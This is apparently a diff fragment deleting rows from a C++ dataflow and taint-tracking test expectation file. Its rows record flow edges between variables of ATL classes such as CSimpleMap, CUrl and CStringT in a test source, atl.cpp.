-| atl.cpp:782:33:782:33 | call to CSimpleMap | atl.cpp:784:10:784:10 | a |  |
-| atl.cpp:782:33:782:33 | call to CSimpleMap | atl.cpp:785:3:785:3 | a |  |
-| atl.cpp:783:5:783:5 | ref arg a | atl.cpp:784:10:784:10 | a |  |
-| atl.cpp:783:5:783:5 | ref arg a | atl.cpp:785:3:785:3 | a |  |
-| atl.cpp:784:10:784:10 | ref arg a | atl.cpp:785:3:785:3 | a |  |
-| atl.cpp:787:33:787:33 | call to CSimpleMap | atl.cpp:788:16:788:16 | a |  |
-| atl.cpp:787:33:787:33 | call to CSimpleMap | atl.cpp:789:10:789:10 | a |  |
-| atl.cpp:787:33:787:33 | call to CSimpleMap | atl.cpp:790:3:790:3 | a |  |
-| atl.cpp:788:18:788:24 | call to FindKey | atl.cpp:789:23:789:25 | pos |  |
-| atl.cpp:789:10:789:10 | ref arg a | atl.cpp:790:3:790:3 | a |  |
-| atl.cpp:792:33:792:33 | call to CSimpleMap | atl.cpp:793:16:793:16 | a |  |
-| atl.cpp:792:33:792:33 | call to CSimpleMap | atl.cpp:794:10:794:10 | a |  |
-| atl.cpp:792:33:792:33 | call to CSimpleMap | atl.cpp:795:3:795:3 | a |  |
-| atl.cpp:793:18:793:24 | call to FindVal | atl.cpp:794:23:794:25 | pos |  |
-| atl.cpp:794:10:794:10 | ref arg a | atl.cpp:795:3:795:3 | a |  |
-| atl.cpp:797:33:797:33 | call to CSimpleMap | atl.cpp:798:16:798:16 | a |  |
-| atl.cpp:797:33:797:33 | call to CSimpleMap | atl.cpp:800:10:800:10 | a |  |
-| atl.cpp:797:33:797:33 | call to CSimpleMap | atl.cpp:801:3:801:3 | a |  |
-| atl.cpp:798:16:798:16 | ref arg a | atl.cpp:800:10:800:10 | a |  |
-| atl.cpp:798:16:798:16 | ref arg a | atl.cpp:801:3:801:3 | a |  |
-| atl.cpp:798:18:798:30 | call to ReverseLookup | atl.cpp:799:10:799:12 | key |  |
-| atl.cpp:798:18:798:30 | call to ReverseLookup | atl.cpp:800:19:800:21 | key |  |
-| atl.cpp:799:10:799:12 | ref arg key | atl.cpp:800:19:800:21 | key |  |
-| atl.cpp:800:10:800:10 | ref arg a | atl.cpp:801:3:801:3 | a |  |
-| atl.cpp:803:33:803:33 | call to CSimpleMap | atl.cpp:804:5:804:5 | a |  |
-| atl.cpp:803:33:803:33 | call to CSimpleMap | atl.cpp:805:10:805:10 | a |  |
-| atl.cpp:803:33:803:33 | call to CSimpleMap | atl.cpp:806:3:806:3 | a |  |
-| atl.cpp:804:5:804:5 | ref arg a | atl.cpp:805:10:805:10 | a |  |
-| atl.cpp:804:5:804:5 | ref arg a | atl.cpp:806:3:806:3 | a |  |
-| atl.cpp:805:10:805:10 | ref arg a | atl.cpp:806:3:806:3 | a |  |
-| atl.cpp:808:33:808:33 | call to CSimpleMap | atl.cpp:809:5:809:5 | a |  |
-| atl.cpp:808:33:808:33 | call to CSimpleMap | atl.cpp:810:10:810:10 | a |  |
-| atl.cpp:808:33:808:33 | call to CSimpleMap | atl.cpp:811:3:811:3 | a |  |
-| atl.cpp:809:5:809:5 | ref arg a | atl.cpp:810:10:810:10 | a |  |
-| atl.cpp:809:5:809:5 | ref arg a | atl.cpp:811:3:811:3 | a |  |
-| atl.cpp:810:10:810:10 | ref arg a | atl.cpp:811:3:811:3 | a |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:854:16:854:16 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:867:19:867:19 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:873:23:873:23 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:878:22:878:22 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:883:22:883:22 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:888:24:888:24 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:893:21:893:21 | x |  |
-| atl.cpp:852:13:852:33 | call to indirect_source | atl.cpp:898:22:898:22 | x |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:854:3:854:5 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:855:8:855:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:856:8:856:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:857:8:857:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:858:8:858:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:859:8:859:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:860:8:860:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:861:8:861:10 | url |  |
-| atl.cpp:853:8:853:10 | call to CUrl | atl.cpp:901:1:901:1 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:855:8:855:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:856:8:856:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:857:8:857:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:858:8:858:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:859:8:859:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:860:8:860:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:861:8:861:10 | url |  |
-| atl.cpp:854:3:854:5 | ref arg url | atl.cpp:901:1:901:1 | url |  |
-| atl.cpp:864:10:864:13 | call to CUrl | atl.cpp:867:5:867:8 | url2 |  |
-| atl.cpp:864:10:864:13 | call to CUrl | atl.cpp:868:5:868:8 | url2 |  |
-| atl.cpp:864:10:864:13 | call to CUrl | atl.cpp:870:3:870:3 | url2 |  |
-| atl.cpp:865:11:865:13 | len | atl.cpp:868:29:868:31 | len |  |
-| atl.cpp:866:10:866:15 | buffer | atl.cpp:868:20:868:25 | buffer |  |
-| atl.cpp:866:10:866:15 | buffer | atl.cpp:869:10:869:15 | buffer |  |
-| atl.cpp:867:5:867:8 | ref arg url2 | atl.cpp:868:5:868:8 | url2 |  |
-| atl.cpp:867:5:867:8 | ref arg url2 | atl.cpp:870:3:870:3 | url2 |  |
-| atl.cpp:868:20:868:25 | ref arg buffer | atl.cpp:869:10:869:15 | buffer |  |
-| atl.cpp:868:28:868:31 | ref arg & ... | atl.cpp:868:29:868:31 | len [inner post update] |  |
-| atl.cpp:868:29:868:31 | len | atl.cpp:868:28:868:31 | & ... |  |
-| atl.cpp:872:10:872:13 | call to CUrl | atl.cpp:873:5:873:8 | url2 |  |
-| atl.cpp:872:10:872:13 | call to CUrl | atl.cpp:874:10:874:13 | url2 |  |
-| atl.cpp:872:10:872:13 | call to CUrl | atl.cpp:875:3:875:3 | url2 |  |
-| atl.cpp:873:5:873:8 | ref arg url2 | atl.cpp:874:10:874:13 | url2 |  |
-| atl.cpp:873:5:873:8 | ref arg url2 | atl.cpp:875:3:875:3 | url2 |  |
-| atl.cpp:877:10:877:13 | call to CUrl | atl.cpp:878:5:878:8 | url2 |  |
-| atl.cpp:877:10:877:13 | call to CUrl | atl.cpp:879:10:879:13 | url2 |  |
-| atl.cpp:877:10:877:13 | call to CUrl | atl.cpp:880:3:880:3 | url2 |  |
-| atl.cpp:878:5:878:8 | ref arg url2 | atl.cpp:879:10:879:13 | url2 |  |
-| atl.cpp:878:5:878:8 | ref arg url2 | atl.cpp:880:3:880:3 | url2 |  |
-| atl.cpp:882:10:882:13 | call to CUrl | atl.cpp:883:5:883:8 | url2 |  |
-| atl.cpp:882:10:882:13 | call to CUrl | atl.cpp:884:10:884:13 | url2 |  |
-| atl.cpp:882:10:882:13 | call to CUrl | atl.cpp:885:3:885:3 | url2 |  |
-| atl.cpp:883:5:883:8 | ref arg url2 | atl.cpp:884:10:884:13 | url2 |  |
-| atl.cpp:883:5:883:8 | ref arg url2 | atl.cpp:885:3:885:3 | url2 |  |
-| atl.cpp:887:10:887:13 | call to CUrl | atl.cpp:888:5:888:8 | url2 |  |
-| atl.cpp:887:10:887:13 | call to CUrl | atl.cpp:889:10:889:13 | url2 |  |
-| atl.cpp:887:10:887:13 | call to CUrl | atl.cpp:890:3:890:3 | url2 |  |
-| atl.cpp:888:5:888:8 | ref arg url2 | atl.cpp:889:10:889:13 | url2 |  |
-| atl.cpp:888:5:888:8 | ref arg url2 | atl.cpp:890:3:890:3 | url2 |  |
-| atl.cpp:892:10:892:13 | call to CUrl | atl.cpp:893:5:893:8 | url2 |  |
-| atl.cpp:892:10:892:13 | call to CUrl | atl.cpp:894:10:894:13 | url2 |  |
-| atl.cpp:892:10:892:13 | call to CUrl | atl.cpp:895:3:895:3 | url2 |  |
-| atl.cpp:893:5:893:8 | ref arg url2 | atl.cpp:894:10:894:13 | url2 |  |
-| atl.cpp:893:5:893:8 | ref arg url2 | atl.cpp:895:3:895:3 | url2 |  |
-| atl.cpp:897:10:897:13 | call to CUrl | atl.cpp:898:5:898:8 | url2 |  |
-| atl.cpp:897:10:897:13 | call to CUrl | atl.cpp:899:10:899:13 | url2 |  |
-| atl.cpp:897:10:897:13 | call to CUrl | atl.cpp:900:3:900:3 | url2 |  |
-| atl.cpp:898:5:898:8 | ref arg url2 | atl.cpp:899:10:899:13 | url2 |  |
-| atl.cpp:898:5:898:8 | ref arg url2 | atl.cpp:900:3:900:3 | url2 |  |
-| atl.cpp:954:13:954:33 | call to indirect_source | atl.cpp:956:27:956:27 | x |  |
-| atl.cpp:954:13:954:33 | call to indirect_source | atl.cpp:959:27:959:27 | x |  |
-| atl.cpp:954:13:954:33 | call to indirect_source | atl.cpp:978:44:978:44 | x |  |
-| atl.cpp:954:13:954:33 | call to indirect_source | atl.cpp:982:49:982:49 | x |  |
-| atl.cpp:954:13:954:33 | call to indirect_source | atl.cpp:986:54:986:54 | x |  |
-| atl.cpp:956:27:956:41 | call to CSimpleStringT | atl.cpp:957:8:957:9 | s1 |  |
-| atl.cpp:956:27:956:41 | call to CSimpleStringT | atl.cpp:1008:50:1008:51 | s1 |  |
-| atl.cpp:956:27:956:41 | call to CSimpleStringT | atl.cpp:1010:8:1010:9 | s1 |  |
-| atl.cpp:956:27:956:41 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s1 |  |
-| atl.cpp:959:27:959:37 | call to CSimpleStringT | atl.cpp:960:8:960:9 | s2 |  |
-| atl.cpp:959:27:959:37 | call to CSimpleStringT | atl.cpp:962:27:962:28 | s2 |  |
-| atl.cpp:959:27:959:37 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s2 |  |
-| atl.cpp:962:27:962:28 | s2 | atl.cpp:962:27:962:29 | call to CSimpleStringT |  |
-| atl.cpp:962:27:962:29 | call to CSimpleStringT | atl.cpp:963:8:963:9 | s3 |  |
-| atl.cpp:962:27:962:29 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s3 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:966:3:966:4 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:967:8:967:9 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:970:13:970:14 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:989:8:989:9 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:990:8:990:9 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:991:8:991:9 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:992:8:992:9 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:994:8:994:9 | s4 |  |
-| atl.cpp:965:24:965:25 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:967:8:967:9 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:970:13:970:14 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:989:8:989:9 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:990:8:990:9 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:991:8:991:9 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:992:8:992:9 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:994:8:994:9 | s4 |  |
-| atl.cpp:966:3:966:4 | ref arg s4 | atl.cpp:1011:1:1011:1 | s4 |  |
-| atl.cpp:969:24:969:25 | call to CSimpleStringT | atl.cpp:970:3:970:4 | s5 |  |
-| atl.cpp:969:24:969:25 | call to CSimpleStringT | atl.cpp:971:8:971:9 | s5 |  |
-| atl.cpp:969:24:969:25 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s5 |  |
-| atl.cpp:970:3:970:4 | ref arg s5 | atl.cpp:971:8:971:9 | s5 |  |
-| atl.cpp:970:3:970:4 | ref arg s5 | atl.cpp:1011:1:1011:1 | s5 |  |
-| atl.cpp:973:24:973:25 | call to CSimpleStringT | atl.cpp:974:3:974:4 | s6 |  |
-| atl.cpp:973:24:973:25 | call to CSimpleStringT | atl.cpp:975:8:975:9 | s6 |  |
-| atl.cpp:973:24:973:25 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s6 |  |
-| atl.cpp:974:3:974:4 | ref arg s6 | atl.cpp:975:8:975:9 | s6 |  |
-| atl.cpp:974:3:974:4 | ref arg s6 | atl.cpp:1011:1:1011:1 | s6 |  |
-| atl.cpp:977:8:977:14 | buffer1 | atl.cpp:978:35:978:41 | buffer1 |  |
-| atl.cpp:977:8:977:14 | buffer1 | atl.cpp:979:8:979:14 | buffer1 |  |
-| atl.cpp:978:35:978:41 | ref arg buffer1 | atl.cpp:979:8:979:14 | buffer1 |  |
-| atl.cpp:981:8:981:14 | buffer2 | atl.cpp:982:35:982:41 | buffer2 |  |
-| atl.cpp:981:8:981:14 | buffer2 | atl.cpp:983:8:983:14 | buffer2 |  |
-| atl.cpp:982:35:982:41 | ref arg buffer2 | atl.cpp:983:8:983:14 | buffer2 |  |
-| atl.cpp:985:8:985:14 | buffer3 | atl.cpp:986:45:986:51 | buffer3 |  |
-| atl.cpp:985:8:985:14 | buffer3 | atl.cpp:987:8:987:14 | buffer3 |  |
-| atl.cpp:986:45:986:51 | ref arg buffer3 | atl.cpp:987:8:987:14 | buffer3 |  |
-| atl.cpp:990:8:990:9 | ref arg s4 | atl.cpp:991:8:991:9 | s4 |  |
-| atl.cpp:990:8:990:9 | ref arg s4 | atl.cpp:992:8:992:9 | s4 |  |
-| atl.cpp:990:8:990:9 | ref arg s4 | atl.cpp:994:8:994:9 | s4 |  |
-| atl.cpp:990:8:990:9 | ref arg s4 | atl.cpp:1011:1:1011:1 | s4 |  |
-| atl.cpp:991:8:991:9 | ref arg s4 | atl.cpp:992:8:992:9 | s4 |  |
-| atl.cpp:991:8:991:9 | ref arg s4 | atl.cpp:994:8:994:9 | s4 |  |
-| atl.cpp:991:8:991:9 | ref arg s4 | atl.cpp:1011:1:1011:1 | s4 |  |
-| atl.cpp:992:8:992:9 | ref arg s4 | atl.cpp:994:8:994:9 | s4 |  |
-| atl.cpp:992:8:992:9 | ref arg s4 | atl.cpp:1011:1:1011:1 | s4 |  |
-| atl.cpp:994:8:994:9 | ref arg s4 | atl.cpp:1011:1:1011:1 | s4 |  |
-| atl.cpp:996:24:996:25 | call to CSimpleStringT | atl.cpp:997:3:997:4 | s7 |  |
-| atl.cpp:996:24:996:25 | call to CSimpleStringT | atl.cpp:998:8:998:9 | s7 |  |
-| atl.cpp:996:24:996:25 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s7 |  |
-| atl.cpp:997:3:997:4 | ref arg s7 | atl.cpp:998:8:998:9 | s7 |  |
-| atl.cpp:997:3:997:4 | ref arg s7 | atl.cpp:1011:1:1011:1 | s7 |  |
-| atl.cpp:1000:24:1000:25 | call to CSimpleStringT | atl.cpp:1001:3:1001:4 | s8 |  |
-| atl.cpp:1000:24:1000:25 | call to CSimpleStringT | atl.cpp:1002:8:1002:9 | s8 |  |
-| atl.cpp:1000:24:1000:25 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s8 |  |
-| atl.cpp:1001:3:1001:4 | ref arg s8 | atl.cpp:1002:8:1002:9 | s8 |  |
-| atl.cpp:1001:3:1001:4 | ref arg s8 | atl.cpp:1011:1:1011:1 | s8 |  |
-| atl.cpp:1004:24:1004:25 | call to CSimpleStringT | atl.cpp:1005:3:1005:4 | s9 |  |
-| atl.cpp:1004:24:1004:25 | call to CSimpleStringT | atl.cpp:1006:8:1006:9 | s9 |  |
-| atl.cpp:1004:24:1004:25 | call to CSimpleStringT | atl.cpp:1011:1:1011:1 | s9 |  |
-| atl.cpp:1005:3:1005:4 | ref arg s9 | atl.cpp:1006:8:1006:9 | s9 |  |
-| atl.cpp:1005:3:1005:4 | ref arg s9 | atl.cpp:1011:1:1011:1 | s9 |  |
-| atl.cpp:1099:15:1099:29 | call to source | atl.cpp:1101:21:1101:21 | v |  |
-| atl.cpp:1099:15:1099:29 | call to source | atl.cpp:1104:21:1104:21 | v |  |
-| atl.cpp:1101:21:1101:21 | v | atl.cpp:1101:21:1101:22 | call to CStringT | TAINT |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1102:8:1102:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1136:43:1136:44 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1138:15:1138:16 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1172:8:1172:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1178:8:1178:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1179:8:1179:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1180:8:1180:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1181:8:1181:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1194:3:1194:4 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1197:8:1197:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1198:8:1198:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1201:8:1201:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1203:8:1203:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1101:21:1101:22 | call to CStringT | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1104:21:1104:31 | call to CStringT | atl.cpp:1105:8:1105:9 | s2 |  |
-| atl.cpp:1104:21:1104:31 | call to CStringT | atl.cpp:1107:21:1107:22 | s2 |  |
-| atl.cpp:1104:21:1104:31 | call to CStringT | atl.cpp:1191:8:1191:9 | s2 |  |
-| atl.cpp:1104:21:1104:31 | call to CStringT | atl.cpp:1212:1:1212:1 | s2 |  |
-| atl.cpp:1107:21:1107:22 | s2 | atl.cpp:1107:21:1107:23 | call to CStringT |  |
-| atl.cpp:1107:21:1107:23 | call to CStringT | atl.cpp:1108:8:1108:9 | s3 |  |
-| atl.cpp:1107:21:1107:23 | call to CStringT | atl.cpp:1212:1:1212:1 | s3 |  |
-| atl.cpp:1110:13:1110:33 | call to indirect_source | atl.cpp:1111:21:1111:21 | x |  |
-| atl.cpp:1110:13:1110:33 | call to indirect_source | atl.cpp:1118:21:1118:21 | x |  |
-| atl.cpp:1110:13:1110:33 | call to indirect_source | atl.cpp:1165:17:1165:17 | x |  |
-| atl.cpp:1110:13:1110:33 | call to indirect_source | atl.cpp:1184:22:1184:22 | x |  |
-| atl.cpp:1111:21:1111:21 | ref arg x | atl.cpp:1118:21:1118:21 | x |  |
-| atl.cpp:1111:21:1111:21 | ref arg x | atl.cpp:1165:17:1165:17 | x |  |
-| atl.cpp:1111:21:1111:21 | ref arg x | atl.cpp:1184:22:1184:22 | x |  |
-| atl.cpp:1111:21:1111:21 | x | atl.cpp:1111:21:1111:22 | call to CStringT | TAINT |
-| atl.cpp:1111:21:1111:22 | call to CStringT | atl.cpp:1112:8:1112:9 | s4 |  |
-| atl.cpp:1111:21:1111:22 | call to CStringT | atl.cpp:1212:1:1212:1 | s4 |  |
-| atl.cpp:1114:16:1114:39 | call to indirect_source | atl.cpp:1115:24:1115:24 | y |  |
-| atl.cpp:1114:16:1114:39 | call to indirect_source | atl.cpp:1121:24:1121:24 | y |  |
-| atl.cpp:1115:24:1115:24 | ref arg y | atl.cpp:1121:24:1121:24 | y |  |
-| atl.cpp:1115:24:1115:24 | y | atl.cpp:1115:24:1115:25 | call to CStringT | TAINT |
-| atl.cpp:1115:24:1115:25 | call to CStringT | atl.cpp:1116:8:1116:9 | s5 |  |
-| atl.cpp:1115:24:1115:25 | call to CStringT | atl.cpp:1212:1:1212:1 | s5 |  |
-| atl.cpp:1118:21:1118:31 | call to CStringT | atl.cpp:1119:8:1119:9 | s6 |  |
-| atl.cpp:1118:21:1118:31 | call to CStringT | atl.cpp:1212:1:1212:1 | s6 |  |
-| atl.cpp:1121:24:1121:34 | call to CStringT | atl.cpp:1122:8:1122:9 | s7 |  |
-| atl.cpp:1121:24:1121:34 | call to CStringT | atl.cpp:1212:1:1212:1 | s7 |  |
-| atl.cpp:1124:24:1124:53 | call to indirect_source | atl.cpp:1125:21:1125:23 | ucs |  |
-| atl.cpp:1125:21:1125:23 | ucs | atl.cpp:1125:21:1125:24 | call to CStringT | TAINT |
-| atl.cpp:1125:21:1125:24 | call to CStringT | atl.cpp:1126:8:1126:9 | s8 |  |
-| atl.cpp:1125:21:1125:24 | call to CStringT | atl.cpp:1212:1:1212:1 | s8 |  |
-| atl.cpp:1128:12:1128:23 | call to source | atl.cpp:1129:21:1129:21 | c |  |
-| atl.cpp:1129:21:1129:21 | c | atl.cpp:1129:21:1129:22 | call to CStringT | TAINT |
-| atl.cpp:1129:21:1129:22 | call to CStringT | atl.cpp:1130:8:1130:9 | s9 |  |
-| atl.cpp:1129:21:1129:22 | call to CStringT | atl.cpp:1212:1:1212:1 | s9 |  |
-| atl.cpp:1132:16:1132:30 | call to source | atl.cpp:1133:25:1133:26 | wc |  |
-| atl.cpp:1133:25:1133:26 | wc | atl.cpp:1133:25:1133:27 | call to CStringT | TAINT |
-| atl.cpp:1133:25:1133:27 | call to CStringT | atl.cpp:1134:8:1134:10 | s10 |  |
-| atl.cpp:1133:25:1133:27 | call to CStringT | atl.cpp:1212:1:1212:1 | s10 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1172:8:1172:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1178:8:1178:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1179:8:1179:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1180:8:1180:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1181:8:1181:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1194:3:1194:4 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1197:8:1197:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1198:8:1198:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1201:8:1201:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1203:8:1203:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1138:15:1138:16 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1138:18:1138:31 | call to AllocSysString | atl.cpp:1139:8:1139:11 | bstr |  |
-| atl.cpp:1141:18:1141:20 | call to CStringT | atl.cpp:1142:3:1142:5 | s11 |  |
-| atl.cpp:1141:18:1141:20 | call to CStringT | atl.cpp:1143:8:1143:10 | s11 |  |
-| atl.cpp:1141:18:1141:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s11 |  |
-| atl.cpp:1142:3:1142:5 | ref arg s11 | atl.cpp:1143:8:1143:10 | s11 |  |
-| atl.cpp:1142:3:1142:5 | ref arg s11 | atl.cpp:1212:1:1212:1 | s11 |  |
-| atl.cpp:1145:18:1145:20 | call to CStringT | atl.cpp:1146:3:1146:5 | s12 |  |
-| atl.cpp:1145:18:1145:20 | call to CStringT | atl.cpp:1147:8:1147:10 | s12 |  |
-| atl.cpp:1145:18:1145:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s12 |  |
-| atl.cpp:1146:3:1146:5 | ref arg s12 | atl.cpp:1147:8:1147:10 | s12 |  |
-| atl.cpp:1146:3:1146:5 | ref arg s12 | atl.cpp:1212:1:1212:1 | s12 |  |
-| atl.cpp:1149:18:1149:20 | call to CStringT | atl.cpp:1150:3:1150:5 | s13 |  |
-| atl.cpp:1149:18:1149:20 | call to CStringT | atl.cpp:1151:8:1151:10 | s13 |  |
-| atl.cpp:1149:18:1149:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s13 |  |
-| atl.cpp:1150:3:1150:5 | ref arg s13 | atl.cpp:1151:8:1151:10 | s13 |  |
-| atl.cpp:1150:3:1150:5 | ref arg s13 | atl.cpp:1212:1:1212:1 | s13 |  |
-| atl.cpp:1153:18:1153:20 | call to CStringT | atl.cpp:1154:3:1154:5 | s14 |  |
-| atl.cpp:1153:18:1153:20 | call to CStringT | atl.cpp:1155:8:1155:10 | s14 |  |
-| atl.cpp:1153:18:1153:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s14 |  |
-| atl.cpp:1154:3:1154:5 | ref arg s14 | atl.cpp:1155:8:1155:10 | s14 |  |
-| atl.cpp:1154:3:1154:5 | ref arg s14 | atl.cpp:1212:1:1212:1 | s14 |  |
-| atl.cpp:1157:18:1157:20 | call to CStringT | atl.cpp:1158:3:1158:5 | s15 |  |
-| atl.cpp:1157:18:1157:20 | call to CStringT | atl.cpp:1159:8:1159:10 | s15 |  |
-| atl.cpp:1157:18:1157:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s15 |  |
-| atl.cpp:1158:3:1158:5 | ref arg s15 | atl.cpp:1159:8:1159:10 | s15 |  |
-| atl.cpp:1158:3:1158:5 | ref arg s15 | atl.cpp:1212:1:1212:1 | s15 |  |
-| atl.cpp:1161:18:1161:20 | call to CStringT | atl.cpp:1162:3:1162:5 | s16 |  |
-| atl.cpp:1161:18:1161:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s16 |  |
-| atl.cpp:1162:3:1162:5 | ref arg s16 | atl.cpp:1212:1:1212:1 | s16 |  |
-| atl.cpp:1164:18:1164:20 | call to CStringT | atl.cpp:1165:3:1165:5 | s17 |  |
-| atl.cpp:1164:18:1164:20 | call to CStringT | atl.cpp:1166:8:1166:10 | s17 |  |
-| atl.cpp:1164:18:1164:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s17 |  |
-| atl.cpp:1165:3:1165:5 | ref arg s17 | atl.cpp:1166:8:1166:10 | s17 |  |
-| atl.cpp:1165:3:1165:5 | ref arg s17 | atl.cpp:1212:1:1212:1 | s17 |  |
-| atl.cpp:1168:18:1168:20 | call to CStringT | atl.cpp:1169:3:1169:5 | s18 |  |
-| atl.cpp:1168:18:1168:20 | call to CStringT | atl.cpp:1170:8:1170:10 | s18 |  |
-| atl.cpp:1168:18:1168:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s18 |  |
